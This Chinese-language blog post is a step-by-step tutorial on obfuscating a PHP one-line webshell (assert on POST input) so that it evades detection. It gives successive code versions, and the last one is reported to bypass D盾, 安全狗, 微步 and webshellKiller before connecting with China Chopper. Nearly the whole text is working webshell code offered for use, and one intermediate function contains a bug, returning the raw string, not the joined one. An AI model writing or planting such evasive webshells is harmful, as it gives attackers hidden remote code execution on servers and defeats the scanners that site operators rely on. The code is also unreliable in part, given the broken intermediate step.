一句話木馬免殺(截止2020年8月16日通殺D盾、安全狗,微步,webshellKiller)

ABKing發表於2020-08-16

首先一句話木馬:

<?php assert($_POST['a']); ?>

D盾掃描,5級

分開寫:

1 <?php
2 $a = "assert";
3 $b = $_POST['a'];
4 $a($b);
5 
6 ?>

D盾掃描,4級

使用可變函式的技巧(PHP 支援可變函式的概念。這意味著如果一個變數名後有圓括號,PHP 將尋找與變數的值同名的函式,並且嘗試執行它。可變函式可以用來實現包括回撥函式,函式表在內的一些用途)

1 <?php
2 $a = "assert";
3 $fun = "a";
4 $$fun($_POST['a']);
5 ?>

D盾掃描,3級

使用array_map()函式(為陣列的每個元素應用回撥函式)

1 <?php
2 $a = "assert";
3 $fun = "a";
4 array_map($$fun, array($_POST['a']));
5 ?>

D盾掃描,2級

把assert處理一下

 1 <?php
 2 function f(){
 3     $s = "aABKingsABKingsABKingeABKingrABKingt";
 4     $arr = explode("ABKing", $s);
 5     $result = $arr[0].$arr[1].$arr[2].$arr[3].$arr[4].$arr[5];
 6     return $s;
 7 }
 8 $a = $_POST['a'];
 9 $s = f();
10 array_map($s, array($a));
11 ?>

D盾掃描,1級

既然顯示陣列字串合併,那麼我們再處理得複雜一些

 1 <?php
 2 function argu($a, $b){
 3     $ext = explode('ABKing',$a);
 4     $ext1 = $ext[0];
 5     $ext2 = $ext[1];
 6     $ext3 = $ext[2];
 7     $ext4 = $ext[3];
 8     $ext5 = $ext[4];
 9     $ext6 = $ext[5];
10     $arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
11     $arr[1] = $b;
12     return $arr;
13 }
14 $b = $_POST['x'];
15 $arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
16 $x = $arr[0];
17 $y = $arr[1];
18 array_map($x, array($y));
19 ?>

D盾掃描,成功免殺

安全狗掃描,免殺

微步,免殺

webshell killer,免殺

 接下來拿菜刀連線,成功:

參考資料:

如何優雅的隱藏你的webshell:https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug

相關文章